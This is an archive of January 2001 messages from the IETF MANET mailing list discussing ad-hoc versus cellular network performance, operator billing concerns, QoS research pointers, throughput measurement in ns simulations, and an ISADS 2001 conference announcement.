(EST) Received: from mail.ee.gatech.edu (mail.ee.gatech.edu [130.207.230.10]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id RAA24024 for ; Tue, 30 Jan 2001 17:09:48 -0500 (EST) Received: from franklin.ece.gatech.edu (franklin.ece.gatech.edu [199.77.155.82]) by mail.ee.gatech.edu (8.11.0/8.11.0) with SMTP id f0UM9oa23925 for ; Tue, 30 Jan 2001 17:09:50 -0500 (EST) From: Raghupathy Sivakumar To: manet@itd.nrl.navy.mil Subject: RE: research topics Date: Tue, 30 Jan 2001 17:05:07 -0500 X-Mailer: KMail [version 1.0.29] Content-Type: text/plain References: <4.1.20010130195155.00937e20@fargo.cisco.com> In-Reply-To: <4.1.20010130195155.00937e20@fargo.cisco.com> MIME-Version: 1.0 Message-Id: <01013017091507.03485@franklin.ece.gatech.edu> Content-Transfer-Encoding: 8bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8bit Hi, In the context of the discussions that have been going on about dual-mode networks: We have been working on such a hybrid network model that tries to leverage the advantages of ad-hoc networks. While we have some interesting insights into such a hybrid model, I would like to bring your attention to some of the results that we have observed during the course of our performance comparisons between conventional cellular networks and multi-hop ad-hoc networks (the results are to appear in ACM SIGMETRICS 2001): Ad-hoc networks perform better in terms of raw network capacity, end-to-end throughput, end-to-end delay, and power consumption. The exact order of improvement is dependent on several factors and will require a much more involved discussion. However, a key point that our results show is that, ad-hoc networks perform WORSE when the following metrics are considered: 1. Fairness: Although the average throughput, delay, and power-consumption characteristics of an ad-hoc network might be better, it is very likely that there are a good number of nodes (flows) that perform much worse than in a similar network operating in cellular mode. While unfairness in power consumption can potentially be addressed using a "revenue-sharing" scheme, unfairness in throughput is less likely to be accomodated by network users. 2. Impact of mobility: While ad-hoc networks exhibit better throughput because of more spatial-reuse, the same factor that contributes to the increase in spatial-reuse - smaller transmission ranges - result in frequent network partitions and route failures resulting in poor performance. This is especially evident at vehicular speeds (15-20m/s). 3. Impact of traffic locality: While ad-hoc networks have typically been considered in "stand-alone" network environments where sources and destinations are within the same "network" or "cell", the same model when required to perform over a typical Internet model wherein the mobile stations act as clients to servers in the backbone , perform badly. The reason for this performance degradation is because spatial re-use can no longer be leveraged due to the shared space around the base-station acting as a bottleneck. While we have identified these problems, it is to be noted that these are not problems that are not surmountable. In fact, in the same paper, we do discuss a preliminary hybrid network model that addresses some of the problems. However, the point of our work is to identify the fact that, even from a purely performance perspective, ad-hoc networks cannot be adopted on an "as-is" basis to support conventional wireless packet data in the Internet. Regards, Siva --------------------------------------------- Raghupathy Sivakumar Assistant Professor School of Electrical and Computer Engineering Georgia Institute of Technology URL: http://www.ece.gatech.edu/research/GNAN From owner-manet@itd.nrl.navy.mil Tue Jan 30 21:22:12 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA20474 for ; Tue, 30 Jan 2001 21:22:11 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id UAA27791 for manet-outgoing; Tue, 30 Jan 2001 20:07:47 -0500 (EST) Received: from netmail.alcatel.com (netmail.alcatel.com [128.251.168.50]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id UAA27786 for ; Tue, 30 Jan 2001 20:07:45 -0500 (EST) Received: from auds951.usa.alcatel.com (auds951.usa.alcatel.com [143.209.238.80]) by netmail.alcatel.com (8.9.1/8.9.1) with ESMTP id TAA06251 for ; Tue, 30 Jan 2001 19:08:04 -0600 (CST) Received: from usa.alcatel.com (localhost [127.0.0.1]) by auds951.usa.alcatel.com (8.10.2/8.10.2) with ESMTP id f0V17Q009488 for ; Tue, 30 Jan 2001 19:07:26 -0600 (CST) Message-ID: <3A7763CA.6B1A366A@usa.alcatel.com> Date: Tue, 30 Jan 2001 19:00:58 -0600 From: Saurabh Tewari X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "'manet@itd.nrl.navy.mil'" Subject: Re: research topics References: <59063B5B4D98D311BC0D0001FA7E45220428E6A5@l04.research.kpn.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit "Groten, D." wrote: > I would like to add, Robin, that operators such as KPN are actively > investigating the possibilities offered by ad hoc networking and that the > scenarios you sketch are not to be rejected just because they may threaten > our income. On the contrary, facilities to get cheap access to internet or > communicate cheaply between devices only increases the demand on mobile data > services... My first reaction to the original mail was that with this, operators would make even more money i.e. there is no reason to give "83% of last sentence" free even if it was in a fully-adhoc mode when you can charge for all of it. Operator may pass on some infrastructure cost saving to the subscriber. I don't know if I will believe an operator when he says my monthly bill is x as I was on adhoc mode 20% of the time and not 50% of the time even if the operator decided to bill based on the mode. Can I, as a subscriber, know when I am in adhoc mode and when I am not? Would I know if my phone/PDA is being used for someone else's transmission? I am assuming that in future we'll be using same device for voice conversation and internet access and that the same device will act as a router in the adhoc network (is that a valid assumption?). Since I would like to receive calls, I would probably not turn off my phone and if I my phone can be a router and I cannot tell if my phone is being used as a router, no one needs to compensate me for my being cooperative in letting others use up my phone battery. Only thing I can do is to not buy these dual-mode PDA-phones but then I won't be able to get the cheaper rate either since my phone can never be in adhoc mode... Saurabh * Disclaimer - These are just my thoughts, not Alcatel's position/opinion on this. * From owner-manet@itd.nrl.navy.mil Tue Jan 30 21:46:05 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA21591 for ; Tue, 30 Jan 2001 21:46:04 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id UAA28327 for manet-outgoing; Tue, 30 Jan 2001 20:40:01 -0500 (EST) Received: from ns0.utdallas.edu (ns0.utdallas.edu [129.110.10.1]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id UAA28322 for ; Tue, 30 Jan 2001 20:39:59 -0500 (EST) From: jcobb@utdallas.edu Received: from apache.utdallas.edu (apache.utdallas.edu [129.110.16.9]) by ns0.utdallas.edu (Postfix) with ESMTP id 0553E1A0393 for ; Tue, 30 Jan 2001 19:39:58 -0600 (CST) Received: (from jcobb@localhost) by apache.utdallas.edu (8.9.1/8.9.1) id TAA14222 for manet@itd.nrl.navy.mil; Tue, 30 Jan 2001 19:39:58 -0600 (CST) Date: Tue, 30 Jan 2001 19:39:58 -0600 (CST) Message-Id: <200101310139.TAA14222@apache.utdallas.edu> To: manet@itd.nrl.navy.mil Subject: ISADS 2001 Call for Participation Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk (* our apologies if you receive multiple copies *) ISADS 2001 CALL FOR PARTICIPATION The Fifth International Symposium on Autonomous Decentralized Systems Monday March 26 - Wednesday March 28, 2001 Dallas, Texas, USA http://isads.utdallas.edu Sponsored by: IEEE Computer Society Information Processing Society of Japan The Society of Instrument and Control Engineers of Japan The Institute of Electronics, Infor. and Communication Engineers, Japan In Cooperation with: International Federation for Information Processing International Federation of Automatic Control OMG TINA-C Manufacturing Science and Technology Center, Japan Scope: Driven by the continuous growth in the power, intelligence and openness of computer, communication and control technologies, possibilities and opportunities for realizing highly efficient and dependable business and control systems have been steadily increasing. Dynamically changing social and economic situations demand next-generation systems based on emerging technologies and applications. Such systems are expected to have the characteristics of living systems composed of largely autonomous and decentralized components. Such systems are called Autonomous Decentralized Systems (ADS). After four successful symposiums, the Fifth International Symposium on Autonomous Decentralized Systems (ISADS) will be held in Dallas, Texas, USA during March 26-28, 2001. While ISADS 2001 will primarily focus on advancements and innovation in the ADS concept, technologies and applications related to the increasingly important topic of *Electronic Commerce* are also included. The symposium features 13 paper sessions and seven panel sessions, whose titles are below. In addition to the paper and panel sessions, the following events have been organized. * Reception (March 26) * Banquet (March 27) * A tour and dinner at the famous Southfork Ranch of Dallas (March 28). * A plant tour of two telecommunication companies in the Dallas area, Alcatel and Nortel (March 29). For general information, including registration, see our World-Wide Web Page at: http://isads.utdallas.edu Important Deadlines: *March 1, 2001 - Deadline for early registration *March 2, 2001, 5:00 p.m. central time - Any reservation at the conference hotel received after the cut-off date will be accepted based on space availability Paper Sessions: *E-commerce Models and Protocols *High Assurance Systems *Fault Tolerance and Safety Critical Systems *Architecture and Models for Distributed Systems *E-commerce Technology and Architecture *Distributed Object Management Systems *Short Papers: Distributed Object Management and Control *Multiagent systems *Middleware Technologies *Agent Technology for E-commerce *Self Stabilizing Systems *Secure Systems and Applications *Modeling and Performance Panel Sessions: *XML and E-Business Frameworks *Agent-Based Electronic Commerce: Opportunities and Challenges *Embedded Systems *Mobile Computing and Communication *Robotics for Education and Entertainment *Security for the Web and E-Commerce Systems *Plenary closing panel: Future of Autonomous Decentralized Systems From owner-manet@itd.nrl.navy.mil Wed Jan 31 02:54:30 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA07819 for ; Wed, 31 Jan 2001 02:54:29 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id AAA02381 for manet-outgoing; Wed, 31 Jan 2001 00:59:47 -0500 (EST) Received: from csa.iisc.ernet.in (csa.iisc.ernet.in [144.16.67.8]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id AAA02376 for ; Wed, 31 Jan 2001 00:59:43 -0500 (EST) Received: from kohinoor.csa.iisc.ernet.in (rsinha@kohinoor.csa.iisc.ernet.in [144.16.67.10]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id KAA16509 for ; Wed, 31 Jan 2001 10:02:45 +0530 Received: from localhost by kohinoor.csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id KAA20272; Wed, 31 Jan 2001 10:05:26 +0530 (IST) X-Authentication-Warning: kohinoor.csa.iisc.ernet.in: rsinha owned process doing -bs Date: Wed, 31 Jan 2001 10:05:26 +0530 (IST) From: Ravi To: Diego Pamio cc: manet@itd.nrl.navy.mil Subject: Re: Throughput measurement in Ad-Hoc Networks In-Reply-To: <384669554.980868225129.JavaMail.root@web129-mc> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk X-MIME-Autoconverted: from 8bit to quoted-printable by itd.nrl.navy.mil id AAA02381 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id CAA07819 hi, if u have not already gone through the paper by P.R.Kumar, University of Illinios, u can go through it, it talks about throughputs. the name of the paper is "New technological vistas for systems and control: The example of wireless networks". it was published in may 8, 2000. ravi. -------------------------------------------------------------------------- |-----------------------------------------------| | | | Ravi Kumar Sinha | | [ rsinha@csa.iisc.ernet.in ] | | [ rsinha@violet.csa.iisc.ernet.in ] | | [ ravi_3210@rediffmail.com ] | | | | ph. (080) 3602095 -------> (Percolat Lab.)| | (080) 3092368/ext->321 (Percolat Lab.)| | (080) 3092906 ---> (Computing lab-1) | | (080) 3092539 ----> Hostel.(R-79). | |-----------------------------------------------| -------------------------------------------------------------------------- On Tue, 30 Jan 2001, Diego Pamio wrote: > Hi. > > Does anybody knows how to obtain a throughput measurement of an ad-hoc > network? > > Thanks. > > Lucas F. Ledesma > Diego N. Pamio > Facultad de Ingeniería > Universidad Católica de Córdoba > Argentina > > > ______________________________________________ > FREE Personalized Email at Mail.com > Sign up at http://www.mail.com/?sr=signup > From owner-manet@itd.nrl.navy.mil Wed Jan 31 05:02:42 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA08634 for ; Wed, 31 Jan 2001 05:02:42 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id DAA04301 for manet-outgoing; Wed, 31 Jan 2001 03:13:25 -0500 (EST) Received: from auemail2.firewall.lucent.com (auemail2.lucent.com [192.11.223.163]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id DAA04296 for ; Wed, 31 Jan 2001 03:13:24 -0500 (EST) Received: from auemail2.firewall.lucent.com (localhost [127.0.0.1]) by auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id DAA21904 for ; Wed, 31 Jan 2001 03:13:24 -0500 (EST) Received: from ii0015exch001u.wins.lucent.com (h135-254-248-252.lucent.com [135.254.248.252]) by auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id DAA21894 for ; Wed, 31 Jan 2001 03:13:21 -0500 (EST) Received: by II0015EXCH001U with Internet Mail Service (5.5.2650.21) id ; Wed, 31 Jan 2001 13:43:17 +0530 Message-ID: From: "Rajan, Hridesh (Hridesh)" To: "'\"'manet@itd.nrl.navy.mil'\"'" Subject: Re: research topics Date: Wed, 31 Jan 2001 13:43:15 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hi All, --- Raghupathy Sivakumar wrote: > Hi, > > In the context of the discussions that have been going on about dual-mode networks: > > 1. Fairness: Although the average throughput, delay, and power-consumption characteristics of an ad-hoc network might be better, it is very likely that there are a >good number of nodes (flows) that perform much worse than in a similar network operating in cellular mode. While unfairness in power consumption can >potentially be addressed using a "revenue-sharing" scheme, unfairness in throughput is less likely to be accomodated by network users. > I was wondering whether the time to address the QOS issues has come as mentioned in the RFC 2501 on page 4 paragraph 1 which states that: "The working group will also consider issues pertaining to addressing, security, and interaction/interfacing with lower and upper layer protocols. In the longer term, the group may look at the issues of layering more advanced mobility services on top of the initial unicast routing developed. These longer term issues will likely include investigating multicast and QoS extensions for a dynamic, mobile area." Although there is much work going on in the field of routing can anyone guide me towards any work which addresses QOS issues in MANETs. Thanks in advance, Hridesh Hridesh Rajan, Member of Technical Staff Lucent Technologies <<...OLE_Obj...>> Bell Labs Innovations Tel: +91 (80) 5271771 2582 Fax: +91 (80) 5271777 mailto: hridesh@lucent.com From owner-manet@itd.nrl.navy.mil Wed Jan 31 10:58:03 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA18378 for ; Wed, 31 Jan 2001 10:58:02 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id IAA09932 for manet-outgoing; Wed, 31 Jan 2001 08:55:44 -0500 (EST) Received: from nez-perce.inria.fr (nez-perce.inria.fr [192.93.2.78]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id IAA09924 for ; Wed, 31 Jan 2001 08:55:42 -0500 (EST) Received: from prokofiev.inria.fr (prokofiev.inria.fr [128.93.17.51]) by nez-perce.inria.fr (8.11.1/8.10.0) with ESMTP id f0VDtfT02758; Wed, 31 Jan 2001 14:55:41 +0100 (MET) Message-Id: <200101311355.f0VDtfT02758@nez-perce.inria.fr> X-Mailer: exmh version 2.0.2 2/24/98 (debian) To: "'manet@itd.nrl.navy.mil'" Cc: Paul.Muhlethaler@inria.fr Subject: Re: Throughput measurement in Ad-Hoc Networks In-Reply-To: Your message of "Tue, 30 Jan 2001 10:23:45 EST." <384669554.980868225129.JavaMail.root@web129-mc> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Date: Wed, 31 Jan 2001 14:55:41 +0100 From: Paul X-MIME-Autoconverted: from quoted-printable to 8bit by itd.nrl.navy.mil id IAA09928 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk X-MIME-Autoconverted: from 8bit to quoted-printable by itd.nrl.navy.mil id IAA09932 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA18378 > dpamio@mail.com said: > Hi. > We are trying to measure the throughput of an ad-hoc Network that we > have simulated using ns (2.1b7a). Does anyone know how to do this? We > tried to use per-flow monitors but it seems it doesn't work in ad-hoc > networks because it needs a (wired) link between the nodes. > Thank you. > Lucas F. Ledesma A simple mean is to add during the simulation all the bits sent in all the packets in the whole ad-hoc network. The ratio of this number of bits by the simulation duration will give you a throughput in bit per second. This throughput may exceed the "air" rate of the modem because you may have spatial reuse. If you want to avoid this phenomenon you can divide this throughput by the ratio between the surface of your ad-hoc network by the surface of the modem coverage area. You should have then a throughput less than the "air" rate of the modem. This figure can be used to evaluate your medium access scheme. Paul Muhlethaler dpamio@mail.com said: > Hi. > Does anybody knows how to obtain a throughput measurement of an ad-hoc > network? > Thanks. > Lucas F. Ledesma Diego N. Pamio Facultad de Ingeniería Universidad > Católica de Córdoba Argentina From owner-manet@itd.nrl.navy.mil Wed Jan 31 13:53:30 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA23385 for ; Wed, 31 Jan 2001 13:53:30 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id LAA16269 for manet-outgoing; Wed, 31 Jan 2001 11:38:09 -0500 (EST) Received: from scapa.cs.ualberta.ca (scapa.cs.ualberta.ca [129.128.4.44]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id LAA16264 for ; Wed, 31 Jan 2001 11:38:08 -0500 (EST) Received: (from localhost user: 'wkui' uid#432 fake: STDIN (wkui@newsarepta.cs.ualberta.ca)) by scapa.cs.ualberta.ca id ; Wed, 31 Jan 2001 09:37:46 -0700 Date: Wed, 31 Jan 2001 09:37:45 -0700 (MST) From: Kui Wu To: "Rajan, Hridesh (Hridesh)" cc: "'\"'manet@itd.nrl.navy.mil'\"'" Subject: Re: research topics In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hi, Hridesh: I have done a review on the current work about QoS support in ad hoc networks. If you are interested, it can be found at http://www.cs.ualberta.ca/~wkui/research/QoSReview.ps It is just a review for my own use. It will be appreciated if anyone can provide more clues on this issue. Kui Computing Science Dept. |email: wkui@cs.ualberta.ca U. of Alberta |Phone: (780) 492-7747 (O) Edmonton,AB | T6G 2E8 | On Wed, 31 Jan 2001, Rajan, Hridesh (Hridesh) wrote: > Hi All, > > --- Raghupathy Sivakumar wrote: > > Hi, > > > > In the context of the discussions that have been going on about dual-mode > networks: > > > > 1. Fairness: Although the average throughput, delay, and power-consumption > characteristics of an ad-hoc network might be better, it is very likely that > there are a >good number of nodes (flows) that perform much worse than in a > similar network operating in cellular mode. While unfairness in power > consumption can > >potentially be addressed using a "revenue-sharing" scheme, unfairness in > throughput is less likely to be accomodated by network users. > > > > I was wondering whether the time to address the QOS issues has come as > mentioned in the RFC 2501 on page 4 paragraph 1 which states that: > "The working group will also consider issues pertaining to addressing, > security, and interaction/interfacing with lower and upper layer protocols. > In the longer term, the group may look at the issues of layering more > advanced mobility services on top of the initial unicast routing developed. > These longer term issues will likely include investigating multicast and QoS > extensions for a dynamic, mobile area." > Although there is much work going on in the field of routing can anyone > guide me towards any work which addresses QOS issues in MANETs. > Thanks in advance, > > Hridesh > > > > > > > > Hridesh Rajan, Member of Technical Staff > Lucent Technologies <<...OLE_Obj...>> > Bell Labs Innovations > > Tel: +91 (80) 5271771 2582 Fax: +91 (80) 5271777 > mailto: hridesh@lucent.com >